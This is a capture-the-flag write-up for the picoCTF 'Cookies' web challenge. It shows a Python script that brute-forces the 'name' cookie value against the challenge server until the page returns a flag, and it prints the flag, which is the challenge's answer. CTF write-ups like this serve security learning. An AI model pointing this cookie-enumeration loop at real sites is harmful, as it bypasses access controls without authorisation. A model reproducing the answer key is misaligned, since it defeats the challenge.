Skip to content

Latest commit

 

History

History
30 lines (21 loc) · 860 Bytes

File metadata and controls

30 lines (21 loc) · 860 Bytes

Cookies

This problem requires you to change the cookie "name" to the value that is the flag. We choose to approach this question with a brute force script which wil try every number until the page outputs a flag.

# Import Libraries
from bs4 import BeautifulSoup
import requests

url = 'http://mercury.picoctf.net:54219/check'

# loop through every number as the value to the cookie
for i in range(18, 100):
    cookies = dict(name=str(i))
    response = requests.get(url, cookies=cookies)

    # Check to see if the page outputted a flag
    soup = BeautifulSoup(response.text, "html.parser")

    if "pico" in response.text:
        flag = soup.select("body > div.container > div.jumbotron > p:nth-child(2)")[0]
        print(flag.get_text())
        break
    
    print("Attempt: ", i)

Flag

picoCTF{3v3ry1_l0v3s_c00k135_96cdadfd}